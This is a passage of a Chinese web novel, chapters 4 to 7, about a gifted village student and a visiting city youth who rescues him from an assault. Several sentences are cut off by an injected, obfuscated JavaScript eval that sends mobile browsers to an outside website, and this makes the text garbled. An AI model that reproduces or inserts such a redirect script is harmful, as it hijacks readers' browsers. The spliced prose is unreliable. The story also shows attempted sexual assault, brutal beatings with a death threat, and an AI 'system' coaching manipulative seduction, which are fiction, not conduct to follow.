赵静群打量这间只有六七米宽的房间,里面家具布局很简单,但有一个很大的书柜,上面摆满了整整齐齐的书,最令他惊讶的一点是。 这个房间,贴满了两面墙的奖状,足足有两面墙!奖状占据了二分之一的墙面,而且没留多少缝隙。 每张奖状上面几乎都是“三好学生陶柠”“数学之星陶柠”“物理之星陶柠”等等。 4. 第 4 章 饶是回到赵家后见多了人中龙凤的赵静群,也小小的惊了一下,“......你多大了?” 就算从幼儿园开始起算,两面墙的奖状,粗略算它两百多张,这土包子读十年书,每年两个学期,每个学期都能拿八.九张奖状。 陶柠在给他重新铺床,陶圆做事比较粗心,被套四个角是团在一起的,如果赵静群就这么睡一晚,第二天被子就变成超大号面团了。 他铺开被子:“十八。” 赵静群看他忙碌的背影,弯腰后不经意露出一截白皙的窄腰,他别开眼:“几月份的?” “四月。” 赵静群挑眉:“挺小,几岁读的书?”他挺好奇这土包子哪儿来那么多奖状的。 陶柠甩被子的手顿住,他回头,因为正午的原因,屋内没有开灯,以至于镜片后的眼睛显得不够清晰,但赵静群觉得从那双不够清晰的眼睛里看出了“你是不是很闲”的味道。 他笑容不变,又问了一遍:“几岁啊呆子?” 连称呼都变成呆子了。 系统点评:【他好欠揍。】 陶柠赞同:【嗯。】 但他还是听话的答了:“十一。” 那时候陶家穷到要揭不开锅,三个姐姐都没有读书,即使是唯一的养子陶柠也没有,若不是当年陶圆说什么都要把他带出去,陶柠估计现在还是个文盲。 这时候,系统忽然没头没尾说了句:【你不会变成文盲。】 陶柠问:【为什么?】 但一向话多的系统不回应了,反倒是赵静群愣了一下:“十一岁?......你现在高几?” 陶柠说:“下学期高三。” 赵静群微蹙眉:“......你七年就读完了十二年的书?”合着是每年十五六张奖状。 陶柠把他的被子给铺好了,闻言点了点头,向角落里指了下,“那个柜子没人用,你可以放行李。” 赵静群收回目光,顺着他指的方向看过去。 靠近角落里有个柜子,只有一层,深红色油漆包浆,四个角已经破损,露出里面泛黑的木头,很矮,大概只到他大腿的位置。 与之相对的是它旁边另一个柜子,有上下两层,白色包漆,看起来比较新。 赵静群挑了下眉,不由分说就把行李箱提到白色柜子前,直接拉开了。 刚一打开,淡淡的柠檬香瞬间扑面而来,衣柜里的衣服没有多少,几乎都是很规矩的衬衫和长裤,有些洗到发白了,和陶柠现在身上穿的差不多,只是下身穿的是短裤。 赵静群的目光凝在几块很小的布料上。 布料只有一点,多数是白色的,很白,和少年的肌肤一样白。 过了几秒,赵静群脸上的笑意消失了,还有些微沉,他“砰”的一声把柜门关上,耳尖有一点红。 他依旧没说话,而是把行李拖回破旧的红柜子前,拉开行李箱把衣服一件一件放了进去。 只是放到一半,里面传出一股略微潮湿的气味,很像草料放久生潮腐烂了。 赵静群关上柜门,看向已经坐在书桌上不知道在看什么书的陶柠:“这柜子原来是放什么的?” 陶柠头也没抬,“猪饲料。” 赵静群:“......” 他放进去的每件衣物都千元起步,赵静群被这呆子气得笑了一下。 外面阳光充足,屋子内的书桌是靠近窗户的,窗户外种有樟树,阳光跳在约莫巴掌大小的树叶上,又跳下来,掉入少年正在看的书里。 另一部分,则轻柔地贴在少年侧脸上。 他脊背微弯,垂着头,五官在渐淡的日光下模糊,细碎的刘海挽留了一点光,变成星星点点的圆圈与书上的文字融合——《绝望直男爱上甜心小gay》。 “女追男,隔层纱,但男追男,则隔层肉,所以当你是个可爱的gay,不幸爱上了一个直男,请不要绝望也不要喝中药调理。” 书翻了一页: “你现在做的第一步,就是随时随地朝他暗送秋波,再无时不刻向他露出圆润的屁股。” “记住,暗送秋波的时候要穿超短裤,让他产生‘你是不是喜欢他’的怀疑,等他憋不住来问你的时候,你就要作出不可思议和无辜的表情说怎么会呀,哥哥......” 赵静群盯着少年的侧脸入神,片刻,他像是惊醒一般移开了视线。可过了一会儿,不远处的少年依旧没有动静,甚至白皙的脸颊微微泛红。 看什么书看这么入神?太阳也没直射他,这呆子脸红什么? 赵静群眉头微挑,放缓脚步走了过去。 系统及时提醒:【呆瓜呆瓜!他过来了,快把我给你的秘籍收起来!】 以往陶柠会问一句为什么,可在他连续看了几本《引爆全网的诱惑小0》《霸道校草带球跑》以及《倒霉直男被盯上》等系统推荐的秘籍内容后,他觉得这样的书可能不方便分享。 而且这也和他的任务有关,还是不要让人知道好了。 所以在身后的人到来的一瞬间,陶柠急忙用数学册盖住了有两个男人接吻的“秘籍”扉页,然后拿起笔开始做数学题。 陶柠自以为遮的很快,但走路更快的赵静群早把他一系列动作收进眼底了,何况少年脸颊上的余热也没有消散。 没等赵静群开口,陶柠就先问了:“怎、怎么了?” 他垂着眼没有直视男人,问的话也有些磕绊,一点儿也没有刚才说“猪饲料”的理直气壮,因此赵静群越发好奇他到底在看什么书了。 但看这呆瓜脸皮薄的样子,他要问肯定是问不出来什么,只能自己主动去找,这个过程需要有耐心,也不能打草惊蛇。 他笑了笑,面色如常问:“这儿洗澡的地呢?我累了一上午,你个做东的不带我去洗洗?” 沙沙——哗啦 纸上的笔尖停顿,陶柠侧过头,认真看了双手插兜、站的有些歪扭的男人几秒,似乎在看他是不是真的有这个需求。 片刻,陶柠点了点头站起来:“我带你去。” 赵静群跟着陶柠出门了,关上门的那一刻,他回头往书桌方向看了一眼。 两人一路绕到了屋子后面,靠近正堂后墙的地方,左边是个用篱笆围起来的鸡圈和鸭圈,右边则是一个用塑料搭建起来的棚子。 有只公鸡朝打扰它求偶的两人表达不满:“咯咯哒、咯咯哒。”,翅膀一阵扑腾,掀起鸡窝里的干稻草,经过炎热的夏风一吹,浓烈的鸡屎味砸向两人。 结果两人都面不改色,也没有搭理这只被母鸡赶出去的公鸡. 陶柠伸出一根纤细的手指,指着用白色塑料层层包围的棚子。 “在那里洗,你要自己带衣服过去。” “热水呢?” “里面有太阳能。” 赵静群嗤笑了一声:“还挺先进。” 陶柠没接话,以为给他带路的任务完成了,打算走,不料赵静群不放过他,说:“你先洗。” 陶柠拒绝了:“我晚上才洗。” 山里人没有白天洗澡的习惯,因为白天会干一天活,只有等晚上回来才洗澡,也有人过于劳累,干脆澡也不洗就上床了。 陶柠等会儿还要赶路去给别人补课,所以洗不了。 赵静群虽是笑着的,却不依不挠,数颗耳钉在阳光下闪着银光,“我怕冷,你先把里面洗热了,我再进去。” 陶柠出来没多久就被太阳晒得有些晕,男人说他“怕冷”,他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没抽几秒就叼着烟起身,来到少年说装过猪饲料的红漆柜前,像来时那样一件一件又把衣服拿出来,装回行李箱里。 等他拉着行李箱出门,却撞见了过来送水果的陶圆,“静群啊,这是去哪儿啊?” 看到他嘴里的烟,陶圆忍不住说:“柠柠他身体不好,一闻到烟味就咳嗽,静群得麻烦你下次不要在他面前抽,最好是不抽!那个臭小子毛病多嘴巴也爱唠叨,我是一点儿也不敢把烟拿出来,静群你年纪也不大吧,年轻人还是要少抽烟......” 赵静群就这样在原地等着她讲完。 陶圆一边念叨一边把新鲜的橘子放到书桌上,转过头时又问了一遍:“哎,静群啊,你说你要去哪里来着?” 根本没有回答过的赵静群说:“去洗澡。” 陶圆诧异:“那你带个行李箱过去做什么?静群啊,你别看我们这条件简陋,洗澡就一个塑料棚,但里面啥东西都有,不比你们城里差,你只管把衣服带进去就好。是不是柠柠没带你进去看过,那臭小子,一到外人面前就跟个木头似的,放着客人也不管就出去了,等会儿他回来我好好说他一顿......” 赵静群把烟给掐灭了,“他去哪儿了?” 陶圆说:“这个点儿应该在麻子家补课去了,等会就回来了。静群啊,我去给你把太阳能打开。” 赵静群看着她离开,在原地站了一会儿,脸色逐渐阴沉,踢了一下行李箱才转身进屋。 太阳逐渐西斜,下午五点左右,赵静群擦着头发出来,厨房已经传来饭菜香了,陶圆边双手擦着围裙边嘟囔着:“柠柠怎么还没回来?” 赵静群擦头发的手一顿:“没有手机?” 陶圆叹了口气,语气既心疼又欣慰:“给他买又不要,说用不上......”说到后面,不知是想起什么,她声音放低,眼睛里透出担忧。 赵静群把毛巾搭在用竹子做的晾衣架上,说:“我去找他。” 陶圆用的是四五百块的智能手机,加了他的号码后,说了个地址。 赵静群认得路,记在心里后往大门走去,打开门,门板发出“嘎吱”一声—— 5. 第 5 章 嘎吱一声。 陶柠打开门,忽然,一只黝黑的手抓住了他的胳膊,身后贴上来一个矮瘦男人,吐着带蒜味的气息:“柠娃子,今天叔送你回去。” 陶柠愣住,回过头,看到一张长满麻子的脸。 这是他今天补课家里的人,外号张麻子,十多年前的时候死了老婆,常年在外面鬼混,前不久才回来。 系统愤怒:【呆瓜快甩开他,这猥琐男在占你便宜!】 它的宿主呆头呆脑,对男人的触碰很迟钝,容易被人占便宜,但它看得一清二楚,这麻子男抓住少年瘦弱的胳膊后,就用指缝里满是污垢的手摩挲他的肌肤。 系统看得一阵反胃。 陶柠反应过来,用力挣脱了张麻子的桎梏,肌肤上留下了一片红痕。 张麻子眼睛都看直了,两年前,他无意间看到过陶柠摘下眼镜的样子,那小脸和身段,就和天仙差不多。 他这辈子从来没见过那么漂亮的人,也不管是男是女了,当时他就记心里了,只是那时候陶圆那母老虎在旁边,他不敢凑过去。 他昨天才回来,没想到这柠娃子碰巧给自家的兔崽子补课,这简直就是送上门的肥肉啊。 张麻子咽了下口水,搓了搓手,装模作样给陶柠推开门,“走走走,不要跟叔见外,叔知道有条路离你家近,叔送你回去。” 陶柠垂下眼,他知道以自己的力气,拒绝是没有用的,于是默不作声跟着张麻子出去了。 但他一出去,就在原地不动也不说话,张麻子想去拉他手,也被陶柠躲开了。 山里人住户之间隔得很远,人也稀疏,一旦跟着人上了路,再想逃跑就很难了。 而张麻子家住的偏,陶柠不会和他走所谓的近路。张麻子见天没有很黑,不敢明目张胆做些什么,只能依着他原路回家。 山中多树,多林。 黄昏降临后,日落经过树叶的筛选,一点一点变成了暗淡的光线,蟾蜍和猫头鹰四处鸣叫,衬得一眼望不到头的山路愈发诡异幽森。 赵静群从张麻子家里出来,却得知陶柠刚走,忍不住皱起眉。 他是按陶圆给的路线走的,那呆子应该不会绕其他路,为什么没有碰上? 赵静群又给陶圆发了条短信确定路线,按照原路返回。 渐黑的山路,地上的树枝踩上后嘎吱嘎吱作响,越往回走,不知为什么,赵静群心情越发烦躁。 那呆子土是土,却玩新鲜花样当同性恋,他不喜欢但也提不上讨厌,只是不想让那呆子把主意打在自己身上,所以他中午应该提着行李箱就走了,可偏偏又鬼使神差没走成,现在还出来找那个呆子。 赵静群觉得不能再这么下去,打算今天找到陶柠后,明天天亮就走,直接坐车回去,也不想再陪家里的老爷子玩什么兄妹情深的把戏了。 路走到一半,忽然,旁边的树林传来窸窸窣窣的动静,还伴随着一阵怒喝声:“兔崽子,让老子摸几下又不会少你块肉,你还敢拿石头砸老子?!” 随即是一个细弱而熟悉的声音,“放开我......” 赵静群眉头微皱,迅速朝声音来源的方向赶去。 另一边树林深处,系统正给陶柠打气:【呆瓜!砸死这猥琐男!.....哎哎哎,你注意脚下,别摔着了.......哎!】 林子里的石头和枯枝败叶过多,陶柠边躲避张麻子边往家跑。 因为慌乱,陶柠没有注意到脚下有块石头,一不小心摔在了地上,幸好他摔的地方较为平坦,只有树叶。 即便如此,陶柠的膝盖也瞬间青紫了,伤痕在雪白的肌肤上格外刺眼,剧烈的疼痛令他瞬间失去了思考的能力。 他小声喘息着,额头上痛到冒出冷汗,身体已经动弹不了了。 陶柠回过头,张麻子那张狰狞的脸已经凑了过来,“妈的,老子看你还能跑到哪儿去......” 他双目发出迫不及待的油光,就在那只黝黑的手要碰到陶柠的脸时,一股巨力猛地朝他侧后背袭去。 咔嚓一声,骨头断裂的声音和张麻子痛苦的尖叫响彻整片树林。 “啊——!!” 张麻子痛苦地跌倒在地,顿时像只被摔死的虫子般蜷缩起身体,嘴里却不停骂骂咧咧,“谁啊?!他妈的谁敢踹......” 话还没落下,身体当即又被猛地踹倒在地,这次他连蜷缩都无法蜷缩,因为胸口被一只脚死死踩住。 张麻子尖叫着,睁开痛到眯起的眼睛,顿时与一双冷若寒冰的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859527|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛对上,男人居高临下,唇角是勾起的,但眼神里却充满了暴虐和冷漠。 赵静群淡笑着开口:“手脚不老实就剁了。” “你、你......” 瞬间,张麻子感到了发自内心的恐惧,刚要求饶,男人已经把他单手拎了起来,然后一拳头砸了上去,接着是一拳比一拳猛烈的拳头砸在了张麻子身上。 没过多久,地上的张麻子从杀猪般的尖叫到只能发出气若游丝的声音,男人却没有停手。 他浑身上下散发出暴虐、阴鸷的气息,令人恐惧到不敢接近。 直到见了血,身后的少年急切道:“赵静群,别打了......” 这是少年第一次叫男人的名字,声音很小,甚至可以用软糯形容,却仿佛化作了无形的锁链,瞬间栓在了男人脖子上,硬生生拉回了处于暴怒边缘的男人的理智。 赵静群踹人的动作一顿,还想再给地上的人来两下时,又听见身后的少年低声道:“我疼。” 声音软到有些发抖,男人没有转身,而是身体有些僵硬。 他轻呼出一口气,挑了下眉,不紧不慢掏出一个钱包,从里面拿出一沓钞票,然后扔在了张麻子已经面目全非的脸上。 赵静群弯腰,脸上依旧带着笑,却用仅有两人能听到的声音冷声道:“下次再让我看见你对他动手动脚,我就宰了你,知道么?” 张麻子闻声全身颤抖,用最后一丝力气使劲点头,眼底满是对这个一直微笑的男人的恐惧。 赵静群这才满意,他站起身,回头却发现少年正扶着枯树,脸上冷汗津津,小口小口喘着气,看模样似乎极为疼痛。 即使光线已经很暗了,他仍旧一眼看到了少年膝盖上的青紫,大片的淤青和淤血聚集在雪白的肌肤上,很不正常的摔伤。 因为普通人要在几个小时后才能形成如此骇人的伤痕,但少年却用了短短几分钟不到。 想起陶圆和那个书记说少年身体不好,赵静群心下一沉,急忙走过去,想扶住他。 靠近后却闻到了很清甜的柠檬味,且这次比以往更要强烈,于是伸出去一半的手又缩了回去。 赵静群干脆转身蹲下去,露出宽阔紧实的肩膀,喉间发出低沉的嗓音,“过来。” 6. 第 6 章 赵静群在原地蹲了一会儿,身后的人才一步一步靠近,最先伸过来的,是少年细腻滑嫩的双手,慢慢地勾住了他的脖子。 肌肤相贴的那一刹那,赵静群浑身变得僵硬,脑子也一片空白。 紧接着,后背贴上来一个温热的身体,软到不可思议,也非常轻,还伴随着一股甜腻的柠檬香与不知名的体香。 赵静群屏住呼吸,心跳不知为什么徒然变快,脑子也仿佛生了锈,迟钝到只有一个想法:这呆子用得什么沐浴露? 他感觉呼吸也有些困难,下午洗澡的时候,他特意看了眼沐浴露牌子,是很普通也很大众的品牌。 为什么放到这呆子身上就那么香? 等他回过神,身后的人已经虚虚地趴在他身上了,还很小声地说了一句:“我好了......谢谢你。” 赵静群呼出一口气,掐灭脑子里乱七八糟的想法,然后双手托住少年的大腿根部,五指陷入软肉里,猛地站了起来。 陶柠第一次被人背着走,正新奇地往四周看,而男人身量很高,趴上去后突然站起来,视野一下就变得开阔。 但也因为这突如其来的动作,陶柠怕摔下去,条件反射搂紧了些。 没想到背着他的男人原地掂了他一下,警告道:“别乱动。”声音比刚才多了几分沙哑。 于是陶柠乖巧地趴在他背上,不敢乱动了,他听见身下的人呼吸逐渐变重,在已经不剩多少光线的密林里,显得格外清晰。 男人似乎也意识到自己的反常,片刻后,他呼吸放缓,恢复平静,因此这片深林,只剩下斑驳的树影和无数虫鸣鸟叫。 枯枝与碎石随着男人走过发出嘎吱声,四周杂乱的树枝缓慢向后移动,很淡的光线洒下来,地上歪歪扭扭地映出两个紧密相贴的影子。 经过一天的劳累和惊吓,陶柠的精神和身体已经到了极限,他昏昏欲睡,很快趴在男人身上睡着了。 赵静群发觉背上的人发出了浅浅的呼吸,甜腻的气味不停地在他耳廓上喷洒着,令他忍不住失神,掌心因为与少年的软肉相贴,温度升高到几乎要灼烧的地步。 他看着仿佛没有尽头的山路,幽暗可怖,却体会到了从未体会过的平静与安宁。 黑夜悄无声息降临,月亮升了起来,陶柠被人喊醒的时候还有些发懵。 “呆子,到你家了。”身下的人低声唤他。 陶柠懵懵地揉了揉眼睛,嘴里含糊不清说:“我不是呆子,我很厉害的......” 背着他的男人哼笑了一声,“是,厉害到有家差点回不来。” 听到这声音,陶柠才后知后觉清醒过来,脸颊瞬间红透了,支支吾吾说:“对、对不起,给你添麻烦了......”又想起他扔在张麻子脸上的那沓钱,说话的声音更小更软了,“你......给了他多少钱,我会慢慢还给你。” 赵静群把他放下来,见少年还能站立,就跟他拉开了距离。 说不清楚是什么原因,他不愿意和陶柠有过多接触,但现在借住在他家里,必要的接触是没办法的事。 想了一下,过几天就要离开了,这呆子想还钱就还吧。 陶柠没有察觉到男人忽然冷淡的神色,连笑也没有了,只是说了句:“三四千。” 听到这个数字,少年脸上明显露出为难的神色,不自觉咬起红润的下唇,发出“哦”的气音。 赵静群看了一会儿,不知为什么心情又好了点,还想再多看两眼时,远处突然扫过来两道光线。 “柠柠!静群!是你们吗?快回家吃饭!” 然后是一阵小碎步声,“舅舅!舅舅!” 赵静群迅速收回视线,恢复成漫不经心的样子。 小檬跑过来,刚想往陶柠身上扑,一下子看到他膝盖上刺目的淤青,顿时恐慌地叫起来:“妈妈!舅舅受伤了!” 紧接着,远处传来一阵急急忙忙的脚步声,陶圆拿着手电筒出现,她扫到少年身上的伤,吓得手电筒差点都拿不稳,“柠柠你咋回事?怎么出去一趟就搞成这个样子回来了?啊?跟姐说,是谁欺负你了……” “没有,我自己摔的。” “你这孩子!给你买的眼镜又没有度数,咋真成近视了?是不是晚上没听我话偷偷做作业去了,你成心想让姐担心不是……” 赵静群站在一旁,看陶圆脸上的急切,李小檬嘟起嘴要哭不哭的模样,还有少年垂着头一副知错的样子。 分明是吵闹到让人耳朵疼的画面,偏偏心底久未消散的暴虐忽然被缓慢抚平了。 他盯了陶柠膝盖上的红肿几秒,拿出手机,低头发了条消息。 陶圆信了陶柠说不小心摔伤的话,确切的来说,她从不怀疑陶柠说的每一句话。 她赶紧扶着陶柠进屋,也不忘招呼赵静群:“静群啊,我先送柠柠回屋,我让小檬带你去吃饭。” 赵静群当然不用一个小屁孩带他去吃饭的地方,而且这小屁孩明显不欢迎他,对他抱有很大的敌意,他自己在饭桌上随便吃了点。 陶圆把陶柠送到房间后,又给他端了饭过来,趁着陶柠小口吃饭时,开始数落他:“你说你这臭小子,怎么回来就弄了一身伤?看着那么吓人,我心脏都要被你吓出来了!明天我去老韩家带点药回来,这伤这么严重,明天咱不去做那个什么向导了……” 陶柠咽了口饭,“不疼了,可以去的。” 陶圆不满了:“你这臭小子……” 接着又开始一顿数落,说着说着,刚才还低眉顺眼的少年忽然低声笑了一下,笑声不大,陶圆却瞬间怒了:“说你你还敢笑了?” 陶柠连忙认错:“不、不是。” 是因为刚才系统在他脑海里放了一张照片,照片上是赵静群背着他回家的模样。 结果系统贼兮兮问:【呆瓜,你看这张照片我拍得好不?像不像你们人类那个‘猪八戒背媳妇儿’的样子?】 赵静群身材高大,衣服下全是紧实的肌肉,把陶柠匀称颀长的身形衬得小了许多。 而系统只拍出来两个模糊的影子,又高又结实的影子上趴着一个纤细的身影。 陶柠从小到大几乎没有拍过照片,本来是有些害羞的,听系统这么一说,越看越像,一想到赵静群那张脸换成猪八戒还染了一头红发的样子,没忍住笑出声了。 于是陶柠又被陶圆数落了一顿,他没有看见,赵静群就站在门外,默不作声看他撇着嘴,又忽然笑起来。 这是他第一次见少年露出笑容,即使戴着那副又土又厚重的黑框眼镜,他浅浅地勾起嘴角,刹那间,昏黄的屋内仿佛都因少年的笑容明亮。 原来这呆子不低着头小心翼翼的时候,挺好看。 他的目光停在少年嘴角的笑容上许久,直到笑容消失,才有些僵硬地移开了视线。 陶柠恰好瞥到赵静群离开,却没有想缘由,开始苦恼自己欠了那么一大笔债,得补多少课才能还得起。 吃完饭后,膝盖还是很疼,但没有最开始那种钻心的疼痛了。 陶圆之前带他去医院检查过,那时他给家里收柠檬,不小心划伤了手,一个细小的伤口却足足流了一大滩血,把陶圆吓得差点晕过去,连夜带他赶去了县城医院。 检查结果出来,医生说他凝血功能有问题,只是他们这种偏僻落后的县城医院检查不出什么。 医生叫他们去大城市再检查一遍,陶柠觉得自己能跑能跳,只要不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859528|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血就好了,于是不肯去了。 陶圆拗不过他,她知道自己这个弟弟,外表看起来低眉顺眼好欺负,可一旦决定下来得事情,十头牛都拉不回来,就是一个犟种。 见他确实没有大碍,索性就由着他去了,只是从那以后,陶圆就不让陶柠放学回来帮家里干活了,而是叫他安心学习。 陶柠默不作声跟着去了几次,都被陶圆骂回去了,后来他就去给别人补课,希望赚点钱补贴家用。 只是两三年过去了,除去补贴家用的钱,他身上最多只有一千元。 这要补多少课才能还回去?陶柠有些小郁闷,他马上要去城里了,攻略完以后,还会和赵静群再见面吗? 陶柠慢慢挪动脚步去拿洗澡工具,不大的少年此刻装满了心事,等慢吞吞洗完澡后,他一出塑料棚,就撞见了正靠在门口抽烟的赵静群。 屋内斜映出橘色调的暖光,与白色烟雾相互交缠缭绕,陶柠咳了一下,烟雾就断了。 接着,是男人低沉而冷冽的嗓音:“你穿的什么衣服?”语气有些冲,似乎颇为嫌弃。 陶柠愣了一下,低头看自己穿的衣服,就是夏天正常的睡衣,短袖短裤,怎么了? 他抬起头,却与赵静群冷淡的目光对上,烟已经被掐灭了,烟蒂扔在了水泥地上,男人用脚碾了几下,然后没等他回答就进屋了。 陶柠有些困惑,明明白天还是会笑的,怎么救了他以后就再也没笑过了?是因为自己欠了他钱吗? 陶柠是个喜欢追求答案的好学生,于是虚心向系统请教:【系统,你在吗?】 脑海里响起了‘别看我只是一只羊’的声响,接着是嘎吱嘎吱嗑瓜子的声音,片刻,系统才终于说话:【怎么了呆瓜?】 陶柠实话实说:【我好像把任务搞砸了。】 系统惊了,脑海里响起瓜子掉一地的声音:【怎么回事?我就去看个动画片的功夫,你就把任务搞砸了??不对啊,我就发过两次任务,你不是都好好完成了吗?】 陶柠说:【不是那两个任务,我是觉得.....觉得赵静群有点讨厌我,他以后说爱我的难度可能会很高。】 系统砸吧嘴:【不可能,我们都看了那么多秘籍了,他怎么会讨厌你?肯定是我们没有实践的原因,《诱.惑的甜美小gay》上说,要主动,这样吧,我给你支个招。你俩的床挨得很近,今晚你偷摸钻他被窝去。】 陶柠脸红了:【这、这样不好。】 系统劝他:【我比你有经验,你就放心听我的。】 陶柠似懂非懂点了点头:【好吧......】 进屋后,陶柠才发现赵静群已经在床上了,正低着头刷手机,听到他进来的动静也没看他一眼,脸上也没有笑。 看来得及时还钱了,陶柠这样想着,也钻进了被窝。他睡觉的姿势很板正,也不乱动,是正面仰躺着的,可以保持这样的姿势睡一晚上。 没过多久,伴随着外面的虫鸣,床上传出均匀的呼吸声。 另一边床上,赵静群拿着没有启动任何程序的手机,他已经盯了主屏很久了,一直等到身旁的人睡着,有些绷紧的身体才逐渐放松。 过了一会儿,他给人发了条消息:【再带几条薄长裤】 他又瞥了身旁的人一眼。 【加上睡衣,身高170】 对面回了条:【OK,静哥,还要其他的吗?】 赵静群没回了,关上手机,合上眼,不料一闭上,脑子里就浮现出不久前少年脸上没有戴眼镜,额前湿润的刘海全部梳到后方的模样。 只看了一眼,赵静群手上的烟差点掉了,他也在那时候才明白,为什么陶圆要给这呆子买没有度数的眼镜。 7. 第 7 章 外面的虫鸣鸟叫没有停过,赵静群脑子里也全是少年的模样没有消失过,有垂着头的、撇嘴的、微笑的等等。 而一分钟过去,两分钟、半小时、一小时,两小时...... 到了最后,赵静群低声“操”了一句,觉得今晚这觉是没法睡了。 正想去外面抽根烟冷静冷静,旁边的人忽然动了,他立刻忍着心烦意乱闭上眼。 过了一会儿,伴随着窸窸窣窣的声音,熟悉的柠檬香钻入鼻尖,赵静群的心脏也随着愈发浓烈的柠檬香开始剧烈跳动。 ......这呆子想干什么? 鼻尖甜腻的香味浓烈到几乎要喘不过气来,就在赵静群要无法呼吸时,身旁的被子忽然被掀开,然后钻进来一个温热柔软的身体。 那一瞬间,赵静群差点想跳起来,但又硬生生忍住了。 直到他感觉温香软玉越来越近,近到要与他贴近时,他终于忍不住屏住呼吸。 最后,赵静群睁开了眼,借着暗淡的月光,看到了晚上那张令人魂牵梦萦的脸。 少年巴掌大的脸上是精致到仿佛女娲亲自雕琢的五官,眉眼如画,唇红齿白,如蝶翼的长睫微微抖动着。 近距离看,少年的发色原来是深棕色的,且带有天生的自然卷,闭眼睡着的模样好似一个不是真人的洋娃娃。 美丽与漂亮到无法用言语形容。 赵静群心脏砰砰直跳,他的视线一路细细地从少年如画的眉眼到达精致高挺的鼻梁......最后到少年因为睡觉而微微张嘴露出来的舌尖。 舌尖是粉嫩湿润的,像咬开的草莓尖,如果被轻轻咬一口,就会流出很多粘稠的汁水,那再往里面舔一点,会有什么? 赵静群被自己有些不正常的想法弄得呼吸粗重,他闭了闭眼,深吸一口气,把身旁毫无察觉的少年给推醒了。 “醒醒,陶柠。”声音低沉沙哑。 陶柠已经睡着了,刚才被系统忽然叫醒本来有了点起床气,迷迷糊糊钻过去完成任务后又迅速熟睡了,结果现在又被人喊醒。 他不满地撅起红润饱满的唇,无意识伸出手,拍了拍身旁的人,嘟囔着:“别闹了.....” 赵静群只是轻微被少年这么一拍,瞬间像被烫到般直起身,他坐在床上平复好情绪后,又低声骂了一句。 无可奈何,他轻手轻脚出门了,方向是洗澡棚的位置。 深夜一直到天亮,陶家后院响起好几次冷水冲洗的声音,鸡圈鸭圈也因此吵个不停。 第二天早上,陶柠打着哈欠起来,膝盖上的淤青颜色更深了,自己却还是在原来的床上,不禁有些困惑。 他记得昨天晚上迷迷糊糊已经钻到赵静群的被窝去了,怎么还在自己床上? 陶柠问系统:【系统,我昨天晚上....】即使是在脑袋里问,依旧会感到害羞,【钻、钻他被窝了吗?】 片刻,脑海里响起系统打哈欠的声音:【钻进去了啊,咦,你怎么又回自己床上了?我记得昨晚把你喊醒了才去睡的。】 听到这话,陶柠的注意力跑偏了,呆呆地问:【你们系统也要睡觉吗?】 系统怒了:【我们人工智能.....咳咳,没想到你是这样的呆瓜,还没工作呢,就已经学那些周扒皮老板要员工996了,啊不,让我晚上不睡觉加班,比那些996还过分。】 【哼!不理你了!】 陶柠:“......” 他小声道歉:“我错了,你别生气......” 话还没说完,身后就响起一个冷淡的声音,“陶柠,吃饭。”连名带姓的叫少年,似乎预示着声音的主人心情不太好。 陶柠转过身,就和一双下眼皮带着乌黑的眼睛对上,那双眼睛看起来极为疲倦。 而两道视线在半空中交汇,仅仅几秒,后者就移开了目光。 男人的目光似乎又在陶柠膝盖上的淤青停留了几秒,又好似是错觉。 陶柠还没看清,赵静群便转身离开了,独留他在原地困惑,怎么感觉.....他更讨厌自己了? 这该怎么办,陶柠有些懊恼,早知道昨天晚上应该强撑着不睡去钻被窝的。 但一想到男人还要和自己同吃同睡几天,今天晚上还有机会,陶柠又放心起来。 他在去正堂吃饭的路上捏紧拳头,暗暗下定决心,今晚一定要钻被窝成功,希望赵静群能不要讨厌自己。 慢慢挪动脚步去了饭桌,却发现赵静群人不在。 陶圆边给陶柠和小檬夹肉夹菜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859529|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边说:“静群那孩子一大早就起来了,他们城里人也真是爱干净,大早上在那里洗澡,还是用冷水洗,哎.....他们城里喜欢用冷水洗的啦?洗澡就算了,那孩子又一大早上不吃饭也不知道干啥去了,问他也只说有事......” 陶柠也一边吃饭一边听陶圆念叨,心想,原来他是有事去了啊。 陶圆话锋一转,“噢对了柠柠,药给你放屋里了,你等会儿记得去涂药,要是太疼了你就不要像个傻子一样出去了,知道不啦?” 陶柠点了点头,今天没有昨天那么疼了,涂完药之后过几天应该就好了。 现在时间还很早,书记还没来找他,那就说明暂时不用去找赵静群他们,所以陶柠吃完饭后帮着洗了碗,才回屋涂药。 